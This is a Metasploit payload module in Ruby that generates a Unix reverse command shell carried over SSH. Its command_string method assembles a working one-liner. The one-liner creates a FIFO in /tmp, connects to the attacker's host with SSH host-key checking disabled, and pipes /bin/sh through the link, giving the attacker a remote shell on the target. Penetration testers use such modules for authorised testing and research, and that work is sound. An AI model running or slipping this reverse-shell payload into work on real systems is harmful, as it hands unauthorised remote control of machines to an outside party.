##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/reverse_ssh'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = :dynamic

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Unix Command Shell, Reverse TCP SSH',
      'Description' => 'Connect back and create a command shell via SSH',
      'Author'      => [
        'RageLtMan <rageltman[at]sempervictus>', # Rex/Metasploit
        'hirura' # HrrRbSsh
      ],
      'License'     => MSF_LICENSE,
      'Platform'    => 'unix',
      'Arch'        => ARCH_CMD,
      'Handler'     => Msf::Handler::ReverseSsh,
      'Session'     => Msf::Sessions::SshCommandShell,
      'PayloadType' => 'cmd',
      'RequiredCmd' => 'ssh',
      'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
    ))
    register_advanced_options(
      [
        Msf::OptString.new('SshClientOptions', [
          false,
          "Space separated options for the ssh client",
          'UserKnownHostsFile=/dev/null StrictHostKeyChecking=no'
        ])
      ]
    )
  end

  #
  # Constructs the payload
  #
  def generate
    return super + command_string
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    backpipe = Rex::Text.rand_text_alpha_lower(4..8)
    lport = datastore['LPORT'] == 22 ? '' : "-p #{datastore['LPORT']} "
    opts =  datastore['SshClientOptions'].blank? ? '' : datastore['SshClientOptions'].split(' ').compact.map {|e| e = "-o #{e} " }.join
    "mkfifo /tmp/#{backpipe};ssh -qq #{opts}#{datastore['LHOST']} #{lport}0</tmp/#{backpipe}|/bin/sh >/tmp/#{backpipe} 2>&1;rm /tmp/#{backpipe}"
  end
end